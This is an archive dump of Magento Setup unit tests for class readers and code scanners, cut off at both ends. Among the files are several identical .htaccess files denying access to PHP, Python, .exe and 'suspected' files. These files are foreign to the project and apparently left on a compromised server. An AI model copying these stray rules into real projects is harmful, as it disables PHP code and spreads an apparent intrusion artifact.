PHPUnit\Framework\TestCase; class ClassReaderDecoratorTest extends TestCase { /** * @var ClassReaderDecorator */ private $model; /** * @var ClassReader|MockObject */ private $classReaderMock; protected function setUp(): void { $this->classReaderMock = $this->getMockBuilder(ClassReader::class) ->disableOriginalConstructor() ->setMethods([]) ->getMock(); $this->model = new ClassReaderDecorator($this->classReaderMock); } /** * @param $expectation * @param $className * @param $willReturn * @dataProvider getConstructorDataProvider */ public function testGetConstructor($expectation, $className, $willReturn) { $this->classReaderMock->expects($this->once()) ->method('getConstructor') ->with($className) ->willReturn($willReturn); $this->assertEquals( $expectation, $this->model->getConstructor($className) ); } /** * @return array */ public function getConstructorDataProvider() { return [ [null, 'null', null], [ [new ConstructorArgument(['name', 'type', 'isRequired', 'defaultValue'])], 'array', [['name', 'type', 'isRequired', 'defaultValue']] ] ]; } public function testGetParents() { $stringArray = ['Parent_Class_Name1', 'Interface_1']; $this->classReaderMock->expects($this->once()) ->method('getParents') ->with('Child_Class_Name') ->willReturn($stringArray); $this->assertEquals($stringArray, $this->model->getParents('Child_Class_Name')); } } Magento/Setup/Test/Unit/Module/Di/Code/Reader/FileClassScannerTest.php000077700000016310151323623130021470 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Di\Code\Reader; use Magento\Setup\Module\Di\Code\Reader\FileClassScanner; use Magento\Setup\Module\Di\Code\Reader\InvalidFileException; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class FileClassScannerTest extends TestCase { public function testInvalidFileThrowsException() { $this->expectException(InvalidFileException::class); new FileClassScanner(''); } public function testEmptyArrayForFileWithoutNamespaceOrClass() { $scanner = $this->getScannerMockObject(); $scanner->expects(self::once()) ->method('getFileContents') ->willReturn( <<<PHP <?php echo 'hello world'; if (class_exists('some_class')) { \$object = new some_class(); } PHP ); /** @var $scanner FileClassScanner */ $result = $scanner->getClassName(); self::assertEmpty($result); } public function testGetClassName() { $scanner = $this->getScannerMockObject(); $scanner->expects(self::once()) ->method('getFileContents') ->willReturn( <<<PHP <?php class ThisIsATest { } PHP ); /** @var $scanner FileClassScanner */ $result = $scanner->getClassName(); self::assertEquals('ThisIsATest', $result); } public function testGetClassNameAndSingleNamespace() { $scanner = $this->getScannerMockObject(); $scanner->expects(self::once()) ->method('getFileContents') ->willReturn( <<<PHP <?php namespace NS; class ThisIsMyTest { } PHP ); /** @var $scanner FileClassScanner */ $result = $scanner->getClassName(); self::assertEquals('NS\ThisIsMyTest', $result); } public function testGetClassNameAndMultiNamespace() { $scanner = $this->getScannerMockObject(); $scanner->expects(self::once()) ->method('getFileContents') ->willReturn( <<<PHP <?php namespace This\Is\My\Ns; class ThisIsMyTest { public function __construct() { \This\Is\Another\Ns::class; } public function test() { } } PHP ); /** @var $scanner FileClassScanner */ $result = $scanner->getClassName(); self::assertEquals('This\Is\My\Ns\ThisIsMyTest', $result); } public function testGetMultiClassNameAndMultiNamespace() { $scanner = $this->getScannerMockObject(); $scanner->expects(self::once()) ->method('getFileContents') ->willReturn( <<<PHP <?php namespace This\Is\My\Ns; class ThisIsMyTest { public function __construct() { \$this->get(\This\Is\Another\Ns::class)->method(); self:: class; } public function test() { } } class ThisIsForBreaking { } PHP ); /** @var $scanner FileClassScanner */ $result = $scanner->getClassName(); // only a single class should be in the file self::assertEquals('This\Is\My\Ns\ThisIsMyTest', $result); } public function testBracketedNamespacesAndClasses() { $scanner = $this->getScannerMockObject(); $scanner->expects(self::once()) ->method('getFileContents') ->willReturn( <<<PHP <?php namespace This\Is\My\Ns { class ThisIsMyTest { public function __construct() { \This\Is\Another\Ns::class; self:: class; } } class ThisIsForBreaking { } } namespace This\Is\Not\My\Ns { class ThisIsNotMyTest { } } PHP ); /** @var $scanner FileClassScanner */ $result = $scanner->getClassName(); // only a single class should in the file self::assertEquals('This\Is\My\Ns\ThisIsMyTest', $result); } public function testMultipleClassKeywordsInMiddleOfFileWithStringVariableParsing() { $scanner = $this->getScannerMockObject(); $scanner->expects(self::once()) ->method('getFileContents') ->willReturn( <<<'PHP' <?php namespace This\Is\My\Ns; use stdClass; class ThisIsMyTest { protected function firstMethod() { $test = 1; $testString = "foo {$test}"; $className = stdClass::class; $testString2 = "bar {$test}"; } protected function secondMethod() { $this->doMethod(stdClass::class)->runAction(); } } PHP ); /* @var $scanner FileClassScanner */ $result = $scanner->getClassName(); self::assertEquals('This\Is\My\Ns\ThisIsMyTest', $result); } public function testInvalidPHPCodeThrowsExceptionWhenCannotDetermineBraceOrSemiColon() { $this->expectException(InvalidFileException::class); $scanner = $this->getScannerMockObject(); $scanner->expects(self::once()) ->method('getFileContents') ->willReturn( <<<PHP <?php namespace This\Is\My\Ns class ThisIsMyTest { } PHP ); /** @var $scanner FileClassScanner */ $scanner->getClassName(); } /** * Checks a case when file with class also contains `class_alias` function for backward compatibility. */ public function testFileContainsClassAliasFunction(): void { $scanner = $this->getScannerMockObject(); $scanner->expects(self::once()) ->method('getFileContents') ->willReturn( <<<'PHP' <?php namespace This\Is\My\Ns; use stdClass; class ThisIsMyTest { public function doMethod() { $className = stdClass::class; return $className; } public function secondMethod() { $this->doMethod(); } } class_alias(\This\Is\My\Ns\ThisIsMyTest::class, stdClass::class); PHP ); /* @var $scanner FileClassScanner */ $result = $scanner->getClassName(); self::assertEquals('This\Is\My\Ns\ThisIsMyTest', $result); } /** * Checks a case when file with class also contains `class_exists` function. */ public function testFileContainsClassExistsFunction(): void { $scanner = $this->getScannerMockObject(); $scanner->expects(self::once()) ->method('getFileContents') ->willReturn( <<<PHP <?php namespace This\Is\My\Ns; if (false) { class ThisIsMyTest {} } class_exists(\This\Is\My\Ns\ThisIsMySecondTest::class); trigger_error('This class is does not supported'); PHP ); /* @var $scanner FileClassScanner */ $result = $scanner->getClassName(); self::assertEmpty($result); } /** * Creates file class scanner mock object. * * @return MockObject */ private function getScannerMockObject(): MockObject { $scanner = $this->getMockBuilder(FileClassScanner::class) ->disableOriginalConstructor() ->setMethods(['getFileContents']) ->getMock(); return $scanner; } } Magento/Setup/Test/Unit/Module/Di/Code/Reader/FileScannerTest.php000077700000002036151323623130020502 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Di\Code\Reader; use Magento\Setup\Module\Di\Code\Reader\FileScanner; use PHPUnit\Framework\TestCase; class FileScannerTest extends TestCase { /** * @var FileScanner */ private $object; protected function setUp(): void { $this->object = new FileScanner( __DIR__ . DIRECTORY_SEPARATOR . '_files' . DIRECTORY_SEPARATOR . 'classes.php' ); } public function testGetClassesReturnsAllClassesAndInterfacesDeclaredInFile() { $classes = [ 'My\NamespaceA\InterfaceA', 'My\NamespaceA\ClassA', 'My\NamespaceB\InterfaceB', 'My\NamespaceB\ClassB', ]; $this->assertCount(4, $this->object->getClasses()); foreach ($this->object->getClasses() as $key => $class) { $this->assertEquals($classes[$key], $class->getName()); } } } Magento/Setup/Test/Unit/Module/Di/Code/Reader/InstancesNamesList/AreaTest.php000077700000004302151323623130022726 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Di\Code\Reader\InstancesNamesList; use Magento\Setup\Module\Di\Code\Reader\ClassesScanner; use Magento\Setup\Module\Di\Code\Reader\ClassReaderDecorator; use Magento\Setup\Module\Di\Code\Reader\Decorator\Area; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class AreaTest extends TestCase { /** * @var ClassesScanner|MockObject */ private $classesScannerMock; /** * @var ClassReaderDecorator|MockObject */ private $classReaderDecoratorMock; /** * @var Area */ private $model; protected function setUp(): void { $this->classesScannerMock = $this->getMockBuilder(ClassesScanner::class) ->disableOriginalConstructor() ->setMethods(['getList']) ->getMock(); $this->classReaderDecoratorMock = $this->getMockBuilder( ClassReaderDecorator::class ) ->disableOriginalConstructor() ->setMethods(['getConstructor']) ->getMock(); $this->model = new Area( $this->classesScannerMock, $this->classReaderDecoratorMock ); } public function testGetList() { $path = '/tmp/test'; $classes = ['NameSpace1\ClassName1', 'NameSpace1\ClassName2']; $this->classesScannerMock->expects($this->once()) ->method('getList') ->with($path) ->willReturn($classes); $constructors = [ ['NameSpace1\ClassName1', ['arg1' => 'NameSpace1\class5', 'arg2' => 'NameSpace1\ClassName4']], ['NameSpace1\ClassName2', ['arg1' => 'NameSpace1\class5']] ]; $this->classReaderDecoratorMock->expects($this->exactly(count($classes))) ->method('getConstructor') ->willReturnMap($constructors); $result = $this->model->getList($path); $expected = [ $classes[0] => $constructors[0][1], $classes[1] => $constructors[1][1] ]; $this->assertEquals($result, $expected); } } Magento/Setup/Test/Unit/Module/Di/Code/Reader/InstancesNamesList/DirectoryTest.php000077700000013062151323623130024025 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Di\Code\Reader\InstancesNamesList; use Magento\Framework\Code\Reader\ClassReader; use Magento\Framework\Code\Validator; use Magento\Framework\Exception\ValidatorException; use Magento\Framework\Phrase; use Magento\Setup\Module\Di\Code\Reader\ClassesScanner; use Magento\Setup\Module\Di\Code\Reader\Decorator\Directory; use Magento\Setup\Module\Di\Compiler\Log\Log; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; /** * Test for Directory Decorator */ class DirectoryTest extends TestCase { /** * @var ClassesScanner|MockObject */ private $classesScanner; /** * @var ClassReader|MockObject */ private $classReaderMock; /** * @var Directory */ private $model; /** * @var Validator|MockObject */ private $validatorMock; /** * @var Log|MockObject */ private $logMock; /** * @inheritdoc */ protected function setUp(): void { $this->logMock = $this->getMockBuilder(Log::class) ->disableOriginalConstructor() ->setMethods(['add']) ->getMock(); $this->classesScanner = $this->getMockBuilder(ClassesScanner::class) ->disableOriginalConstructor() ->setMethods(['getList']) ->getMock(); $this->classReaderMock = $this->getMockBuilder(ClassReader::class) ->disableOriginalConstructor() ->setMethods(['getParents']) ->getMock(); $this->validatorMock = $this->getMockBuilder(Validator::class) ->disableOriginalConstructor() ->setMethods(['validate']) ->getMock(); $this->model = new Directory( $this->logMock, $this->classReaderMock, $this->classesScanner, $this->validatorMock, '/generated/code' ); } public function testGetList() { $path = '/tmp/test'; $classes = ['NameSpace1\ClassName1', 'NameSpace1\ClassName2']; $this->classesScanner->expects($this->once()) ->method('getList') ->with($path) ->willReturn($classes); $parents = [ ['NameSpace1\ClassName1', ['Parent_Class_Name', 'Interface_1', 'Interface_2']], ['NameSpace1\ClassName2', ['Parent_Class_Name', 'Interface_1', 'Interface_2']] ]; $this->classReaderMock->expects( $this->exactly( count($classes) ) ) ->method('getParents') ->willReturnMap( $parents ); $this->logMock->expects($this->never()) ->method('add'); $this->validatorMock->expects($this->exactly(count($classes))) ->method('validate'); $this->model->getList($path); $result = $this->model->getRelations(); $expected = [ $classes[0] => $parents[0][1], $classes[1] => $parents[1][1] ]; $this->assertEquals($result, $expected); } public function testGetListNoValidation() { $path = '/generated/code'; $classes = ['NameSpace1\ClassName1', 'NameSpace1\ClassName2']; $this->classesScanner->expects($this->once()) ->method('getList') ->with($path) ->willReturn($classes); $parents = [ ['NameSpace1\ClassName1', ['Parent_Class_Name', 'Interface_1', 'Interface_2']], ['NameSpace1\ClassName2', ['Parent_Class_Name', 'Interface_1', 'Interface_2']] ]; $this->classReaderMock->expects($this->exactly(count($classes))) ->method('getParents') ->willReturnMap( $parents ); $this->logMock->expects($this->never()) ->method('add'); $this->validatorMock->expects($this->never()) ->method('validate'); $this->model->getList($path); $result = $this->model->getRelations(); $expected = [ $classes[0] => $parents[0][1], $classes[1] => $parents[1][1] ]; $this->assertEquals($result, $expected); } /** * @dataProvider getListExceptionDataProvider * * @param $exception */ public function testGetListException(\Exception $exception) { $path = '/tmp/test'; $classes = ['NameSpace1\ClassName1']; $this->classesScanner->expects($this->once()) ->method('getList') ->with($path) ->willReturn($classes); $this->logMock->expects($this->once()) ->method('add') ->with(Log::COMPILATION_ERROR, $classes[0], $exception->getMessage()); $this->validatorMock->expects($this->exactly(count($classes))) ->method('validate') ->willThrowException( $exception ); $this->model->getList($path); $result = $this->model->getRelations(); $this->assertEquals($result, []); } /** * DataProvider for test testGetListException * * @return array */ public function getListExceptionDataProvider() { return [ [new ValidatorException(new Phrase('Not Valid!'))], [new \ReflectionException('Not Valid!')] ]; } /** * @inheritdoc */ protected function tearDown(): void { restore_error_handler(); } } Magento/Setup/Test/Unit/Module/Di/Code/Reader/InstancesNamesList/.htaccess000077700000000177151323623130022311 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Di/Code/Reader/InstancesNamesList/InterceptionsTest.php000077700000011115151323623130024704 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Di\Code\Reader\InstancesNamesList; use Magento\Framework\Code\Reader\ClassReader; use Magento\Framework\Code\Validator; use Magento\Framework\Code\Validator\ConstructorIntegrity; use Magento\Framework\Exception\ValidatorException; use Magento\Framework\Phrase; use Magento\Setup\Module\Di\Code\Reader\ClassesScanner; use Magento\Setup\Module\Di\Code\Reader\Decorator\Directory; use Magento\Setup\Module\Di\Code\Reader\Decorator\Interceptions; use Magento\Setup\Module\Di\Compiler\Log\Log; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class InterceptionsTest extends TestCase { /** * @var ClassesScanner|MockObject */ private $classesScanner; /** * @var ClassReader|MockObject */ private $classReaderMock; /** * @var Directory */ private $model; /** * @var Validator|MockObject */ private $validatorMock; /** * @var Log|MockObject */ private $logMock; /** * @inheritdoc */ protected function setUp(): void { $this->logMock = $this->getMockBuilder(Log::class) ->disableOriginalConstructor() ->setMethods(['add', 'report']) ->getMock(); $this->classesScanner = $this->getMockBuilder(ClassesScanner::class) ->disableOriginalConstructor() ->setMethods(['getList']) ->getMock(); $this->classReaderMock = $this->getMockBuilder(ClassReader::class) ->disableOriginalConstructor() ->setMethods(['getParents']) ->getMock(); $this->validatorMock = $this->getMockBuilder(Validator::class) ->disableOriginalConstructor() ->setMethods(['validate', 'add']) ->getMock(); $this->model = new Interceptions( $this->classesScanner, $this->classReaderMock, $this->validatorMock, new ConstructorIntegrity(), $this->logMock ); } public function testGetList() { $path = '/tmp/test'; $classes = ['NameSpace1\ClassName1', 'NameSpace1\ClassName2']; $this->classesScanner->expects($this->once()) ->method('getList') ->with($path) ->willReturn($classes); $this->logMock->expects($this->never()) ->method('add'); $this->logMock->expects($this->once())->method('report'); $this->validatorMock->expects($this->exactly(count($classes))) ->method('validate'); $result = $this->model->getList($path); $this->assertEquals($result, $classes); } public function testGetListNoValidation() { $path = '/generated/code'; $classes = ['NameSpace1\ClassName1', 'NameSpace1\ClassName2']; $this->classesScanner->expects($this->once()) ->method('getList') ->with($path) ->willReturn($classes); $this->logMock->expects($this->never()) ->method('add'); $this->validatorMock->expects($this->never()) ->method('validate'); $this->logMock->expects($this->once())->method('report'); $result = $this->model->getList($path); $this->assertEquals($result, $classes); } /** * @dataProvider getListExceptionDataProvider * * @param $exception */ public function testGetListException(\Exception $exception) { $path = '/tmp/test'; $classes = ['NameSpace1\ClassName1']; $this->classesScanner->expects($this->once()) ->method('getList') ->with($path) ->willReturn($classes); $this->logMock->expects($this->once()) ->method('add') ->with(Log::COMPILATION_ERROR, $classes[0], $exception->getMessage()); $this->validatorMock->expects($this->exactly(count($classes))) ->method('validate') ->willThrowException( $exception ); $this->logMock->expects($this->once())->method('report'); $result = $this->model->getList($path); $this->assertEquals($result, []); } /** * DataProvider for test testGetListException * * @return array */ public function getListExceptionDataProvider() { return [ [new ValidatorException(new Phrase('Not Valid!'))], [new \ReflectionException('Not Valid!')] ]; } } Magento/Setup/Test/Unit/Module/Di/Code/Reader/ClassesScannerTest.php000077700000002403151323623130021216 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Di\Code\Reader; use Magento\Framework\App\Filesystem\DirectoryList; use Magento\Setup\Module\Di\Code\Reader\ClassesScanner; use PHPUnit\Framework\TestCase; class ClassesScannerTest extends TestCase { /** * @var ClassesScanner */ private $model; /** * the /var/generation directory realpath * * @var string */ private $generation; protected function setUp(): void { $this->generation = realpath(__DIR__ . '/../../_files/var/generation'); $mock = $this->getMockBuilder(DirectoryList::class) ->disableOriginalConstructor() ->setMethods( ['getPath'] )->getMock(); $mock->method('getPath')->willReturn($this->generation); $this->model = new ClassesScanner([], $mock); } public function testGetList() { $pathToScan = str_replace('\\', '/', realpath(__DIR__ . '/../../') . '/_files/app/code/Magento/SomeModule'); $actual = $this->model->getList($pathToScan); $this->assertIsArray($actual); $this->assertCount(6, $actual); } } Magento/Setup/Test/Unit/Module/Di/Code/Reader/_files/.htaccess000077700000000177151323623130020003 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Di/Code/Reader/_files/classes.php000077700000000455151323623130020352 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); // @codingStandardsIgnoreStart namespace My\NamespaceA; interface InterfaceA { } class ClassA { } namespace My\NamespaceB; interface InterfaceB { } class ClassB { } Magento/Setup/Test/Unit/Module/Di/Code/Reader/.htaccess000077700000000177151323623130016542 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Di/Code/Scanner/DirectoryScannerTest.php000077700000004672151323623130021766 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Di\Code\Scanner; use Magento\Setup\Module\Di\Code\Scanner\DirectoryScanner; use PHPUnit\Framework\TestCase; class DirectoryScannerTest extends TestCase { /** * @var DirectoryScanner */ protected $_model; /** * @var string */ protected $_testDir; protected function setUp(): void { $this->_model = new DirectoryScanner(); $this->_testDir = str_replace('\\', '/', realpath(__DIR__ . '/../../') . '/_files'); } public function testScan() { $filePatterns = [ 'php' => '/.*\.php$/', 'etc' => '/\/app\/etc\/.*\.xml$/', 'config' => '/\/etc\/(config([a-z0-9\.]*)?|adminhtml\/system)\.xml$/', 'view' => '/\/view\/[a-z0-9A-Z\/\.]*\.xml$/', 'design' => '/\/app\/design\/[a-z0-9A-Z\/\.]*\.xml$/', ]; $actual = $this->_model->scan($this->_testDir, $filePatterns); $expected = [ 'php' => [ $this->_testDir . '/additional.php', $this->_testDir . '/app/bootstrap.php', $this->_testDir . '/app/code/Magento/SomeModule/Helper/Test.php', $this->_testDir . '/app/code/Magento/SomeModule/Model/Test.php', ], 'config' => [ $this->_testDir . '/app/code/Magento/SomeModule/etc/adminhtml/system.xml', $this->_testDir . '/app/code/Magento/SomeModule/etc/config.xml', ], 'view' => [$this->_testDir . '/app/code/Magento/SomeModule/view/frontend/default.xml'], 'design' => [$this->_testDir . '/app/design/adminhtml/Magento/backend/layout.xml'], 'etc' => [$this->_testDir . '/app/etc/additional.xml', $this->_testDir . '/app/etc/config.xml'], ]; $this->assertEquals(sort($expected['php']), sort($actual['php']), 'Incorrect php files list'); $this->assertEquals(sort($expected['config']), sort($actual['config']), 'Incorrect config files list'); $this->assertEquals(sort($expected['view']), sort($actual['view']), 'Incorrect view files list'); $this->assertEquals(sort($expected['design']), sort($actual['design']), 'Incorrect design files list'); $this->assertEquals(sort($expected['etc']), sort($actual['etc']), 'Incorrect etc files list'); } } Magento/Setup/Test/Unit/Module/Di/Code/Scanner/ConfigurationScannerTest.php000077700000004245151323623130022625 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Di\Code\Scanner; use Magento\Framework\App\AreaList; use Magento\Framework\App\Config\FileResolver; use Magento\Framework\Config\FileIterator; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Module\Di\Code\Scanner\ConfigurationScanner; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class ConfigurationScannerTest extends TestCase { /** * @var FileResolver|MockObject */ private $fileResolverMock; /** * @var AreaList|MockObject */ private $areaListMock; /** * @var ConfigurationScanner */ private $model; protected function setUp(): void { $this->fileResolverMock = $this->getMockBuilder(FileResolver::class) ->disableOriginalConstructor() ->getMock(); $this->areaListMock = $this->getMockBuilder(AreaList::class) ->disableOriginalConstructor() ->getMock(); $objectManagerHelper = new ObjectManager($this); $this->model = $objectManagerHelper->getObject( ConfigurationScanner::class, [ 'fileResolver' => $this->fileResolverMock, 'areaList' => $this->areaListMock, ] ); } public function testScan() { $codes = ['code1', 'code2']; $iteratorMock = $this->getMockBuilder(FileIterator::class) ->disableOriginalConstructor() ->getMock(); $this->areaListMock->expects($this->once()) ->method('getCodes') ->willReturn($codes); $counts = count($codes) + 2; $this->fileResolverMock->expects($this->exactly($counts)) ->method('get') ->willReturn($iteratorMock); $files = ['file1' => 'onefile', 'file2' => 'anotherfile']; $iteratorMock->expects($this->exactly($counts)) ->method('toArray') ->willReturn($files); $this->assertEquals(array_keys($files), $this->model->scan('di.xml')); } } Magento/Setup/Test/Unit/Module/Di/Code/Scanner/XmlScannerTest.php000077700000004202151323623130020547 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Di\Code\Scanner; use Magento\Setup\Module\Di\Code\Scanner\XmlScanner; use Magento\Setup\Module\Di\Compiler\Log\Log; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class XmlScannerTest extends TestCase { /** * @var XmlScanner */ protected $_model; /** * @var MockObject */ protected $_logMock; /** * @var array */ protected $_testFiles = []; protected function setUp(): void { $this->_model = new XmlScanner( $this->_logMock = $this->createMock(Log::class) ); $testDir = __DIR__ . '/../../' . '/_files'; $this->_testFiles = [ $testDir . '/app/code/Magento/SomeModule/etc/adminhtml/system.xml', $testDir . '/app/code/Magento/SomeModule/etc/di.xml', $testDir . '/app/code/Magento/SomeModule/view/frontend/default.xml', ]; } public function testCollectEntities() { $className = 'Magento\Store\Model\Config\Invalidator\Proxy'; $this->_logMock->expects( $this->at(0) )->method( 'add' )->with( 4, $className, 'Invalid proxy class for ' . substr($className, 0, -5) ); $this->_logMock->expects( $this->at(1) )->method( 'add' )->with( 4, '\Magento\SomeModule\Model\Element\Proxy', 'Invalid proxy class for ' . substr('\Magento\SomeModule\Model\Element\Proxy', 0, -5) ); $this->_logMock->expects( $this->at(2) )->method( 'add' )->with( 4, '\Magento\SomeModule\Model\Nested\Element\Proxy', 'Invalid proxy class for ' . substr('\Magento\SomeModule\Model\Nested\Element\Proxy', 0, -5) ); $actual = $this->_model->collectEntities($this->_testFiles); $expected = []; $this->assertEquals($expected, $actual); } } Magento/Setup/Test/Unit/Module/Di/Code/Scanner/ArrayScannerTest.php000077700000001601151323623130021065 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Di\Code\Scanner; use Magento\Setup\Module\Di\Code\Scanner\ArrayScanner; use PHPUnit\Framework\TestCase; class ArrayScannerTest extends TestCase { /** * @var ArrayScanner */ protected $_model; /** * @var string */ protected $_testDir; protected function setUp(): void { $this->_model = new ArrayScanner(); $this->_testDir = str_replace('\\', '/', realpath(__DIR__ . '/../../') . '/_files'); } public function testCollectEntities() { $actual = $this->_model->collectEntities([$this->_testDir . '/additional.php']); $expected = ['Some_Model_Proxy', 'Some_Model_EntityFactory']; $this->assertEquals($expected, $actual); } } Magento/Setup/Test/Unit/Module/Di/Code/Scanner/XmlInterceptorScannerTest.php000077700000002334151323623130022772 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Di\Code\Scanner; use Magento\Setup\Module\Di\Code\Scanner\XmlInterceptorScanner; use PHPUnit\Framework\TestCase; class XmlInterceptorScannerTest extends TestCase { /** * @var XmlInterceptorScanner */ protected $_model; /** * @var string */ protected $_testDir; /** * @var array */ protected $_testFiles = []; protected function setUp(): void { $this->_model = new XmlInterceptorScanner(); $this->_testDir = str_replace('\\', '/', realpath(__DIR__ . '/../../') . '/_files'); $this->_testFiles = [ $this->_testDir . '/app/code/Magento/SomeModule/etc/di.xml', $this->_testDir . '/app/etc/di/config.xml', ]; } public function testCollectEntities() { $actual = $this->_model->collectEntities($this->_testFiles); $expected = [ \Magento\Framework\App\Cache\Interceptor::class, \Magento\Framework\App\Action\Context\Interceptor::class, ]; $this->assertEquals($expected, $actual); } } Magento/Setup/Test/Unit/Module/Di/Code/Scanner/CompositeScannerTest.php000077700000003414151323623130021755 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Di\Code\Scanner; use Magento\Setup\Module\Di\Code\Scanner\CompositeScanner; use Magento\Setup\Module\Di\Code\Scanner\ScannerInterface; use PHPUnit\Framework\TestCase; class CompositeScannerTest extends TestCase { /** * @var CompositeScanner */ protected $_model; protected function setUp(): void { $this->_model = new CompositeScanner(); } public function testScan() { $phpFiles = ['one/file/php', 'two/file/php']; $configFiles = ['one/file/config', 'two/file/config']; $files = ['php' => $phpFiles, 'config' => $configFiles]; $scannerPhp = $this->getMockForAbstractClass(ScannerInterface::class); $scannerXml = $this->getMockForAbstractClass(ScannerInterface::class); $scannerPhpExpected = ['Model_OneProxy', 'Model_TwoFactory']; $scannerXmlExpected = ['Model_OneProxy', 'Model_ThreeFactory']; $scannerPhp->expects( $this->once() )->method( 'collectEntities' )->with( $phpFiles )->willReturn( $scannerPhpExpected ); $scannerXml->expects( $this->once() )->method( 'collectEntities' )->with( $configFiles )->willReturn( $scannerXmlExpected ); $this->_model->addChild($scannerPhp, 'php'); $this->_model->addChild($scannerXml, 'config'); $actual = $this->_model->collectEntities($files); $expected = [$scannerPhpExpected, $scannerXmlExpected]; $this->assertEquals($expected, array_values($actual)); } } Magento/Setup/Test/Unit/Module/Di/Code/Scanner/PhpScannerTest.php000077700000005010151323623130020534 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Di\Code\Scanner; use Magento\Framework\Reflection\TypeProcessor; require_once __DIR__ . '/../../_files/app/code/Magento/SomeModule/Helper/Test.php'; require_once __DIR__ . '/../../_files/app/code/Magento/SomeModule/ElementFactory.php'; require_once __DIR__ . '/../../_files/app/code/Magento/SomeModule/Model/DoubleColon.php'; require_once __DIR__ . '/../../_files/app/code/Magento/SomeModule/Api/Data/SomeInterface.php'; require_once __DIR__ . '/../../_files/app/code/Magento/SomeModule/Model/StubWithAnonymousClass.php'; use Magento\Setup\Module\Di\Code\Scanner\PhpScanner; use Magento\Setup\Module\Di\Compiler\Log\Log; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class PhpScannerTest extends TestCase { /** * @var PhpScanner */ private $scanner; /** * @var string */ private $testDir; /** * @var Log|MockObject */ private $log; protected function setUp(): void { $this->log = $this->createMock(Log::class); $this->scanner = new PhpScanner($this->log, new TypeProcessor()); $this->testDir = str_replace('\\', '/', realpath(__DIR__ . '/../../') . '/_files'); } public function testCollectEntities() { $testFiles = [ $this->testDir . '/app/code/Magento/SomeModule/Helper/Test.php', $this->testDir . '/app/code/Magento/SomeModule/Model/DoubleColon.php', $this->testDir . '/app/code/Magento/SomeModule/Api/Data/SomeInterface.php', $this->testDir . '/app/code/Magento/SomeModule/Model/StubWithAnonymousClass.php', ]; $this->log->expects(self::at(0)) ->method('add') ->with( 4, 'Magento\SomeModule\Module\Factory', 'Invalid Factory for nonexistent class Magento\SomeModule\Module in file ' . $testFiles[0] ); $this->log->expects(self::at(1)) ->method('add') ->with( 4, 'Magento\SomeModule\Element\Factory', 'Invalid Factory declaration for class Magento\SomeModule\Element in file ' . $testFiles[0] ); $result = $this->scanner->collectEntities($testFiles); self::assertEquals( ['\\' . \Magento\Eav\Api\Data\AttributeExtensionInterface::class], $result ); } } Magento/Setup/Test/Unit/Module/Di/Code/Scanner/.htaccess000077700000000177151323623130016731 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Di/Code/Scanner/PluginScannerTest.php000077700000002031151323623130021243 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Di\Code\Scanner; use Magento\Setup\Module\Di\Code\Scanner\PluginScanner; use PHPUnit\Framework\TestCase; class PluginScannerTest extends TestCase { protected function setUp(): void { $this->_model = new PluginScanner(); $this->_testDir = str_replace('\\', '/', realpath(__DIR__ . '/../../') . '/_files'); $this->_testFiles = [ $this->_testDir . 